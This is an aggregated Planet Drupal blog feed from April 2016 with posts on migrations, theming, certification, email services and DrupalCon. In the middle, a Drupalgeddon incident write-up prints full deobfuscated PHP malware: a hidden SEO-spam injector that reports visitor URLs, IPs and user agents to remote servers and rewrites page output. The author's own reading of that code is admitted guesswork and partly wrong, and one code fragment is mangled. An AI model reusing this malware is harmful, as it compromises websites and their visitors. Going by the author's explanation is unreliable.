Skip to Content

Planet Drupal

Syndicate content - aggregated feeds in category Planet Drupal
Updated: 1 day 2 hours ago

Mike Ryan: Migration update for Drupal 8.1

19 April 2016 - 12:24pm

For those of you using the migration system under Drupal 8.0.x, with Drupal 8.1 scheduled to release tomorrow, let’s take a look at where the migration ecosystem now stands. We’ll discuss the biggest core API change, then how moving to 8.1 affects various use cases.

Migrations are now plugins

read more

Categories: Drupal

Drupal core announcements: Reinventing Drupal’s User Experience process

19 April 2016 - 12:20pm

The Drupal core product needs to become more engaging and useful right out of the box. Usability testing has shown why. We want to look at how we can change our process to be more efficient and effective.

We learned during the Drupal 8 process, that our way of building the product side of Drupal has many challenges. We propose to adopt a different way of working that avoids current pitfalls and enables a fresher, faster way to iterate on the core product.

The UX-team has started a discussion in the Usability group to explore how we can change our process to allow for more drastic UX changes.

Join the discussion at: Reinventing Drupal’s User Experience process

Categories: Drupal

Drupal @ Penn State: Drupal 8 Theme Generation and Development Intro Using the Drupal Console

19 April 2016 - 10:16am

Here is a screen cast of how to get started with Drupal 8 theme development.

In the video I cover:

  • using the drupal console to generate a theme from a base theme
  • creating a libraries yml file
  • adding global css to your theme
  • Using Kint with the devel module
  • debugging twig
  • adding your own twig file to your theme
Categories: Drupal

Acquia Developer Center Blog: Drupal 8 Module of the Week: Monolog

19 April 2016 - 8:33am

Special PHP-Interoperability Edition! Each day, more Drupal 7 modules are being migrated over to Drupal 8 and new ones are being created for the Drupal community’s latest major release. In this series, the Acquia Developer Center is profiling some of the most prominent, useful modules available for Drupal 8. This week, logging with Monolog.

Tags: acquia drupal planetloggingPSRPHP FIGMonologdrupal 8
Categories: Drupal

Phponwebsites: Create page without header and footer in Drupal 7

19 April 2016 - 7:46am
    This blog describes about create only page contents without header and footer in Drupal 7. All of you know almost all of the pages in Drupal have header and footer. Suppose you want to create a page without header and footer in Drupal 7. Is it possible? Yes, it is possible in Drupal 7. You can create a page without header and footer using 'delivery callback' in hook_menu.

Render a page without header and footer in Drupal 7:
     Drupal provide a option to create page without header and footer. Let see the below code for render a page without header and footer in Drupal 7.

 * Implement hook_menu().
function phponwebsites_menu() {
  $items['sample-wo-header-footer'] = array(
    'title' => 'A page without header and footer in Drupal 7',
    'access callback' => TRUE,
    'page callback' => 'phponwebsites_without_header_footer',
    'type' => MENU_CALLBACK,
    'delivery callback' => 'deliver_plain',
  return $items;

function deliver_plain($page_callback_result) {
  print $page_callback_result;

 * Implement phponwebsites_without_header_footer().
function phponwebsites_without_header_footer() {
  return 'This is the page without header and footer';

   You could see the page without any header and footer when you view page in a browser. Now I've hope you how to render a page without header and footer in Drupal 7.

Related articles:
Add new menu item into already created menu in Drupal 7
Add class into menu item in Drupal 7
Create menu tab programmatically in Drupal 7
Add custom fields to search api index in Drupal 7
Login using both email and username in Drupal 7
Clear views cache when insert, update and delete a node in Drupal 7
Categories: Drupal

Zivtech: Tipsheet: Drupal Site Builder Certification

19 April 2016 - 6:03am

Last year, our CTO Jody blogged about the Drupal Jeopardy game that helped some of us at Zivtech prepare for the Acquia Certified Drupal Site Builder Exam. The credential validates the skills and knowledge of professionals who build Drupal sites using core and contributed modules. I started studying for that exam afterwards, and passed it last December. Here are my study methods and experience, which I think would be especially useful to those who are newer to Drupal.

First, some tips
  • The only contributed module you need to know about is Views (a sub module of the Chaos Tool Suite, or CTools, in D7).
  • You don't need to know about Drush (the Drupal shell command-line tool) or how to write code for Drupal development.
  • You should know the best practices related to server file management and how to install, update, and uninstall modules and themes.
  • You should also learn about Drupal best practices concerning security, performance, and community participation using resources.
Basic study steps
  1. Read the exam's blueprint to familiarize yourself with it's structure
  2. Watch this webinar video recording which explains what is and is not in the exam
  3. Manually install a site with only a Drupal 7 core release (see documentation on how)
  4. Enable all the core modules and for each read through its help page (provided by the Help module in core)
  5. Manually install the Views module
  6. Also install and enable the Advanced Help module, which is not part of the exam, but has additional Views documentation aside from its community docs
  7. Click through all the links provided by the Admin Menu at the top of the site
  8. Build stuff with the site!

Finally, here is the study sheet I created for myself before I took the exam (cleaned up a bit so it's less messy). All of the information on there are gathered from a Drupal 7 site install with Views, from, and from the Internet in general.

I hope this helps you study for the Site Builder Certification exam. When you are ready, you can register for the 75 minute test. Good luck!

Categories: Drupal

ThinkShout: Customize Menu Items in Drupal User Profile

19 April 2016 - 6:00am

We were recently asked by a client to edit the user profile view page on their site. This client needed us to move the link to the user’s contact form out of the tab area at the top of the profile and replace it with a link that appears further down in the content of the user’s profile. While this is not something you can do through the admin interface in Drupal 7, it is easy to do with just a few lines of code in a custom module, which I will show you how to do here.

Prior to adding our custom code, the link to the contact form appears as a tab.

The “Contact” menu item starts out as a tab because the Drupal contact module originally creates the menu item and assigns it the type MENU_LOCAL_TASK. (See Menu item types for a list of the possible menu types and their uses in Drupal.) In order for us to change the type, we can use Drupal’s hook_menu_alter() function to change the item to the MENU_CALLBACK type, which will remove it from the display, but keep it available as a valid path.

/** * Implements hook_menu_alter(). */ function mymodule_menu_alter(&$items) { // Remove the 'contact' tab. $items['user/%user/contact']['type'] = MENU_CALLBACK; }

Now it is no longer a tab, but we still need make use of Drupal’s hook_user_view_alter() to insert it into the content of the profile before it is rendered on the page.

/** * Implements hook_user_view_alter(). */ function mymodule_user_view_alter(&$build) { // Check to see if this user has allowed others to contact him/her. if ($build['#account']->data['contact']) { // Create the text for the link using the account info to get the user’s first name. $link_text = $build['#account']->field_first_name['und'][0]['safe_value'] ? "email " . $build['#account']->field_first_name['und'][0]['safe_value'] : "email"; // Use the l() function to create the link. $contact_link = l($link_text,'user/' . $build['#account']->uid . '/contact'); // Insert it into the $build array. $build['contact_link'][0]['#markup'] = "<div class=\"field\"><div class=\"field-label\">" . t('Contact') . ":&nbsp;</div><div class=\"field-items\"><div class=\"field-item even\">" . $contact_link . "</div></div></div>"; // Insert into the user details that group we created in the display mode in admin interface. $build['#group_children']['contact_link'] = 'group_user_details'; } }

After the custom code and a quick cache clear, the tab is gone and there is a link to the form within the body of the profile.

I won’t go into creating a custom module; that’s a bit beyond the scope of this post, but there is a tutorial for creating a custom module on

Shout out to Greg Boggs for his assistance!

Categories: Drupal

Valuebound: Boost your Drupal development with Docker

19 April 2016 - 3:29am

Vagrant is a great virtualisation tool, which I prefer heavily for my development purposes. But sometimes it gets a bit hectic and resource consuming, to set up a new vagrant environment to work trivial things or testing out a module/API. 

Not being a great fan of local *AMP stack I was looking for some alternative to Vagrant to use. In comes Docker, which is super fast and very easy to setup. Containers (“virtual machines”) are easy to destroy and  rebuild.They do not require the overhead of virtual machines but they  still provide a high level of isolation from the host OS.

Docker hub have many Docker containers for Drupal which are ready to use . But I prefered to create my own Docker container which just works and runs Drupal…

Categories: Drupal

OpenLucius: Update OpenLucius | April 2016

19 April 2016 - 2:20am

The past month we have processed again a lot of feedback and improved OpenLucius, a Drupal social intranet. Below the improvements that have been made yesterday:

1. Navigation text documents better and faster

We noticed that the navigation of text documents was loading slowly - when placing a lot of text documents (100+) in a group. This is now loaded with a different technique that makes everything much quicker.

We also addressed the navigation to sub-pages (1): this is now more intuitive, faster and mobile usable. Finally, we placed a search feature above (2), so you can find/filter documents quickly.

Read more about text documents >

2. Hide comments

We received a lot of feedback that a page with many comments was becoming unnecessarily long and cluttered. We solved this by hiding comments - just like Gmail does. Hidden comments can easily be shown again.

3. Improved status updates
Categories: Drupal

DrupalCon News: Think you’re a Drupal genius? Prove it at DrupalCon.

18 April 2016 - 2:13pm

Do you know EVERYTHING about Drupal? is sponsoring a Trivia Night at DrupalCon, and this is your chance to prove you're a Drupal mastermind.

Categories: Drupal

Advomatic: How do I manage the security of my Drupal 6 site?

18 April 2016 - 1:23pm

In our last post we talked about how the Drupal Community is supporting Drupal 6 after its end-of-life and what that means for your Drupal 6 site.  In this post we’ll get a bit more technical and talk about what exactly you need to do to keep your website up to date. Step #1: Getting... Read more »

The post How do I manage the security of my Drupal 6 site? appeared first on Advomatic.

Categories: Drupal

Chapter Three: Custom RESTful API in Drupal 8

18 April 2016 - 12:25pm

This is a very simple module that demonstrates implementation of a custom RESTful API in Drupal 8. Creating your own API with Drupal 8 has become a routine task that doesn't require a lot of work. However there are a lot of things I am not covering in this blog post, such as user login and user registration etc...

You could also look into Rest module (in core) to see how to use it's plugin API to extend core rest functionality.

I use Postman to test my API endpoints (this is an app that allows you to send POST/GET/PUT/DELETE etc.. requests and see API response).

Test API module (test_api.module) contains the following files:

Categories: Drupal

Bluespark Labs: DrupalCon 2016: New Orleans

18 April 2016 - 12:11pm


DrupalCon 2016 will be held in New Orleans this year from May 9th-13th. Bluespark will be attending in force with at least thirteen team members. We are looking forward to reconnecting with old friends and meeting new ones! We have a few different areas where we are contributing to the DrupalCon event, including our booth and lounge sponsorship and some talks we are giving. In addition to the more serious contributions, we have some fun up our sleeves this year!

The Booth

This year we have a booth close to one of the coffee spots, booth number 725. This year, we have a project planning booklet that we think will be both fun and helpful to fill out for people hoping to launch a project in the future, or revisit some of their initial assumptions when they built their site. We have a number of experts who will be available at our booth to discuss anything from project and business strategy and planning to usability strategy and user testing to Drupal 7 & 8 development.

The Voodoo Lounge

We are sponsoring a lounge this year, which is an area where anyone weary of the journey or excited about playing any the many games we will have available can camp out and rest their legs for a while. We have a whole contest built around a couple of the games there too, so it’s possible to win prizes while you’re having fun!

The Contest (and Prizes)

A couple of the games at The Voodoo Lounge will have contests you can enter which will make for some fun. One of the games has to do with creating funny newspaper headlines that will have everyone rolling. The other one has everyone building a creative machine. We’ll be offering a prize for the best contestant for each game on Tuesday-Thursday: a $100 Amazon gift card and a Bluespark shirt.  

Information on DrupalCon 2016: New Orleans

For more information on DrupalCon 2016, visit the official web page:


Tags: Drupal PlanetDrupalCon 2016Resources:  voodoo_image_centered.gif nola_emblem_thumb.gif
Categories: Drupal

Metal Toad: Anatomy of a Drupalgeddon attack

18 April 2016 - 11:08am
Anatomy of a Drupalgeddon attack April 18th, 2016 Mike Purvis

Before working at Metal Toad, I saw an email from Acquia. A strange email.

It went something like this: 

On October 15th, we will be addressing a security concern at 9:00 am.

Hmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. 

Sure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked.

The actual patch for Drupal core is available here, and shows that it's literally a one-liner.

We (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7.

I've been reading some other blogs regarding Drupalgeddon, and those seem to affect the menu_router table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it.

Essentially, the first line of these files were modified:

  • index.php
  • includes/
  • includes/

After the opening <?php  tag, there is a lot of whitespace before the gibberish begins.

Why whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space.

However, when I ssh'ed into the server and used vi on the command line, all the code is essentially "invisible" unless you have the gumption to press "End" on the first line, or "Right arrow" a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)


I will not post the "gibberish" code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible.

I did, however, successfully decode the execution code, which I'll share in a second.

But first, what was this gibberish code? It was base64_encoded. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea.

After you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)

<?php error_reporting(0); if (!function_exists("ZM5j2q0shf_pirogok")){ function ZM5j2q0shf_pirogok(){ return false; } if (!function_exists("Uno_decode")){ function Uno_decode($String) { $String = base64_decode($String); $Salt="dc5p9dOpBc"; $StrLen = strlen($String); $Seq = "DMEf5HZuPq"; $Gamma = ""; while (strlen($Gamma)<$StrLen) { $Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); $Gamma.=substr($Seq,0,8); } return $String^$Gamma; } } if (!function_exists("get_t_dir_mass")){ function get_t_dir_mass() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { $res[] = realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { $res[] = realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { $res[] = realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { $res[] = realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { $res[] = realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { $res[] = realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { $res[] = realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { $res[] = realpath(dirname(__FILE__)); } return array_unique($res); } }   if (!function_exists("get_ua")){ function get_ua(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".") === false){ $tmp = explode("|",$tt); foreach($tmp as $u){ $know[] = trim($u); } } } } } if(count($know) == 0){ $know[] = "msie"; $know[] = "firefox"; $know[] = "googlebot"; } return array_unique($know); } }   if (!function_exists("get_true_name")){ function get_true_name(){ return ".backup_time"; } }   if (!function_exists("strposa")){ function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) return true; } return false; } }   if (isset($_SERVER["HTTP_USER_AGENT"])){ $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $true_ua = get_ua(); if (strposa($ua,$true_ua)){ if (!function_exists("t_dir")){ function t_dir() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { return realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { return realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { return realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { return realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { return realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { return realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { return realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { return realpath(dirname(__FILE__)); } return null; } } if (!function_exists("get_know_ip")){ function get_know_ip(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".")>0){ $know[] = trim($tt); } } } } return array_unique($know); } } if (!function_exists("save_know_ip")){ function save_know_ip($ip){ $name = get_true_name(); $content = implode(PHP_EOL, $ip); foreach(get_t_dir_mass() as $t){ $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w"); fputs($f,$content); fclose($f); } } } if (!function_exists("ZM5j2q0shf_get_real_ip")){ function ZM5j2q0shf_get_real_ip() { $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR"); foreach($proxy_headers as $proxy_header) { if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $_SERVER[$proxy_header])){ return $_SERVER[$proxy_header]; } else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE) { $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header]))); if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp); if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $proxy_header_temp) ) return $proxy_header_temp;   } } return $_SERVER["REMOTE_ADDR"]; } } if (!function_exists("ZM5j2q0shf_get_url")){ function ZM5j2q0shf_get_url(){ $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; if (strpos($url,"?") !== false){ $url = substr($url,0,strpos($url,"?")); } return $url; } } if (!function_exists("ZM5j2q0shf_get_contents")){ function ZM5j2q0shf_get_contents($ip, $page){ if((function_exists("curl_init")) && (function_exists("curl_exec"))){ $ch = curl_init("http://" .$ip . "/" .$page); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $ult = trim(curl_exec($ch)); return $ult; } if (ini_get("allow_url_fopen")) { $ult = trim(@file_get_contents("http://" .$ip . "/" .$page)); return $ult; } $fp = fsockopen($ip, 80, $errno, $errstr, 30); if ($fp) { $out = "GET $page HTTP/1.0\r\n"; $out .= "Host: $ip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $ret = ""; while (!feof($fp)) { $ret .= fgets($fp, 128); } fclose($fp); $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4)); } return $ult; } } if (!function_exists("ZM5j2q0shf_samui_get_links")){ function ZM5j2q0shf_samui_get_links(){ $all = get_know_ip(); shuffle($all); $url = ZM5j2q0shf_get_url(); $real_ip = ZM5j2q0shf_get_real_ip(); $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $aid = "1001"; $cod = md5($url.time()); $check = md5($cod); $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"])); $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"])); $page = "/ml.php?".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref; foreach ($all as $ip){ $tc = ZM5j2q0shf_get_contents(trim($ip),$page); $pos = strpos($tc, $check); if ($pos !== false){ $proxy_list = substr($tc,0,$pos); save_know_ip(explode("\n",$proxy_list)); $links = substr($tc,$pos+32); return $links; } } } } if (!function_exists("ZM5j2q0shf_mod_con")){ function ZM5j2q0shf_mod_con($con){ if (strpos($con,"]*)?>/i", "".ZM5j2q0shf_samui_get_links(), $con,1); return $text; } else { return $con; } } } if (!function_exists("ZM5j2q0shf_callback")){ function ZM5j2q0shf_callback($buf){ if (headers_sent()){ if (in_array("Content-Encoding: gzip", headers_list())){ $tmpfname = tempnam(t_dir(), "FOO"); $zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r"); $contents = gzread($zd, 10000000); $contents = ZM5j2q0shf_mod_con($contents); gzclose($zd); unlink($tmpfname); $contents = gzencode($contents); } else { $contents = ZM5j2q0shf_mod_con($buf); } } else { $contents = ZM5j2q0shf_mod_con($buf); } return($contents); } } ob_start("ZM5j2q0shf_callback"); } } }

There's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the unlink statement above. Don't scroll up, I bet it's in your vision right now.)

On a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code.

I had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code.

One last thing, that's interesting as well as hilariouis. 

There is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string.

So there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where one of these two strings appeared. =') and ==') Those are not crying, smiling emojis, but instead they're needles in the haystack.

Those a pretty weird character strings right? It's almost so weird that you can do a quick grep or ag command to find all instances of that weird character string. And that's what I did.

So to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out.

Note: You need to check the database as well. This blog post does not cover that.

Categories: Drupal

php[architect]: Mandrill Alternatives for PHP Applications

18 April 2016 - 10:58am

What would a website be if it couldn’t send emails, even if just for password resets? Running your own mail server is a huge hassle, so many developers instead use a third party service to send transactional emails like password resets, new user welcome messages, and order summaries. One of the most popular services, in part because of their generous free tier, is Mandrill, owned by MailChimp.

In case you might have missed the announcement, MailChimp is changing Mandrill to be an add-on to paid MailChimp accounts, thus eliminating the generous free tier. We’re big fans of MailChimp and use its mailing list service for our own announcements, (hey, why not join that list if you’re not already on subscribed?) but a full MailChimp account isn’t going to be for everybody. They’ve already shut out the ability for new subscriptions, but if you’re a PHP developer who does things like put off your taxes until the last minute (American customers have three extra days this year, but that’s today), you’re probably sweating the April 27th deadline.

Many people also know Mandrill by reputation and will need options in the future. For you, we’ve put together this list of viable transactional email alternatives with PHP and major PHP application support. Joomla! and MODX support SMTP integration natively, so you’ll just need the SMTP configuration options from your chosen provider. If you want to use a provider’s web API, see the PHP options below.

Cal Evans did an unscientific Twitter survey to see what options people were migrating to:

If you are moving off of @mandrillapp, what are you moving to?

— Cal Evans (@CalEvans) March 29, 2016


MailChimp’s announcement notes that SparkPost has agreed to take on existing Mandrill users and honor Mandrill’s pricing for them. Fortunately, SparkPost has PHP users covered: there is an official PHP API library. There is also a Drupal module, but unfortunately it seems to be 7.x only at this writing and is only a sandbox project—you’ll have to install it via git. Drupal 8 users should be able to use the official API library with Composer. WordPress developers are in more luck: there is an official WordPress plugin. SparkPost provides a guide for Magento devs using the SMTP Pro extension. SparkPost also has one of the most generous plans we’ve seend, with 100,000 free emails per month, though you can not exceed that limit without upgrading ahead of time.


A long time option for PHP users has been SendGrid. (Full disclosure: SendGrid has sponsored our php[tek] conference in the past, but is not a current sponsor.) They have an official PHP API, installable via Composer. While there is a 7.x-only Drupal module, SendGrid recommends Drupal users use the SMTP Authentication Support or Swift Mailer modules in its documentation. Both the officially-recommended modules support Drupal 8 at least in the development releases of each module. Magento is also supported through the SMTP Pro extension. WordPress devs can install the official plugin. SendGrid doesn’t list a free tier on their pricing page, their “Essentials” plan start at $9.95 for 40,000 emails per month.


Many devs I know have spoken highly of SendinBlue. They offer a WordPress plugin, (7.x only) Drupal module, and Magento extension. They also have an official PHP library. Their free tier is limited to 9,000 emails per month with no daily limits, however the messages will include SendinBlue branding.

Amazon SES

Amazon’s transactional email service is affordable but not as easy to install and configure for newbies. They have an official PHP library through the AWS PHP SDK. There is a third-party Drupal module for 7.x users. Similarly there’s an independent WordPress plugin. There is a USD 99 paid extension for Magento.


Mailjet offers a PHP API wrapper, a WordPress plugin, a 7.x-only Drupal plugin, a Joomla! extension, and a Magento plugin. The free tier is capped at 6,000 emails per month and 200 email per day. The first 30 days include a premium trial which allows users to explore segmentation, testing, and compare campaign performance.


Mailgun has a PHP SDK installable via Composer. There is also a WordPress plugin, a 7.x-only Drupal module,  and a Magento extension. The first 10,000 emails each month are free, after which you pay a tiered price based on monthly volume.


Postmark offers a PHP API library, installable via Composer and available on Packagist. There is also an official WordPress plugin. There is a community-supported Drupal module (you guessed it, 7.x only) and Magento extension. There are also many other community modules for PHP frameworks. If you sign up to try it, the first 25,000 emails are free. After that, you can buy credits to send emails starting at $1.50 per thousand emails.


Which of these services you use depends on your needs, price sensitivity, and how much specific support you want for your platform. If I’ve missed any services with good PHP support, please let us know in the comments!

Image Credit: RaHuL Rodriguez on Flickr

Categories: Drupal

DrupalCon News: Come Sprint at DrupalCon

18 April 2016 - 7:24am

At DrupalCon there’s plenty of opportunity to give back, learn, and make a difference when you attend sprints. Whether this is your first Drupal event or you've been to several camps and Cons and are ready to try something new, we look forward to seeing you at the sprints

Categories: Drupal

I Fix Drupal: Can You Launch A Tech Startup Using Drupal?

18 April 2016 - 5:41am
Yes you can. In that case, should you launch a tech startup using Drupal? Maybe. This article will equip you with the information you need to make a sound assessment of whether you should choose Drupal for your startup company whether you are a non technical founder, an experienced CTO or a technologist looking to step up into an executive role. Drupal, or any other piece of open source software, can provide you with an incredible platform to scale your startup from nothing more than a set of requirements to a profitable company in a highly time and cost efficient manner. But Drupal is not a...
Categories: Drupal

Valuebound: How to define your own Services in Drupal 8

18 April 2016 - 5:04am

Service  is a PHP class with some code that provides a single specific functionality throughout the application. So you can easily access each service and use its functionality wherever you need it. Because of that it is easy to test and configure in your application. This is called service-oriented architecture which is not unique to Symfony or even PHP.  

The Services and Dependency Injection Container concepts have been adopted by Drupal from the Symfony framework.  Accessing the database, sending email, or translating user interface are examples for the services in Drupal 8. 

Lets look at how to define your own service in drupal 8 custom module Development?

Step 1:
Create the .info.yml file […

Categories: Drupal

Pronovix: How to recognise accessible PDFs - PDF in Drupal part 3

18 April 2016 - 2:30am

As an addition to our PDF in Drupal series, we researched the subject of accessible PDFs: how can writers create content in a way that it becomes accessible to users with disabilities? We’ll highlight checking mechanisms and tools and end with listing three types of the available assistive technologies that make content accessible.

Categories: Drupal

Roy Scholten: 10 places to explore visual & structural hierarchy on Drupal admin screens

17 April 2016 - 1:47pm

One of the critical Drupal UX issues is the lack of visual and structural hierarchy on admin pages. Can you suggest ideas, sketches, mockups for any of the following?

Post your sketches, plans or ideas to the linked issue or add this folder to your Google Drive and upload there.

Tags: drupalplanetd8uxhierarchySub title: Your ideas for how to put first things first, please.
Categories: Drupal

about seo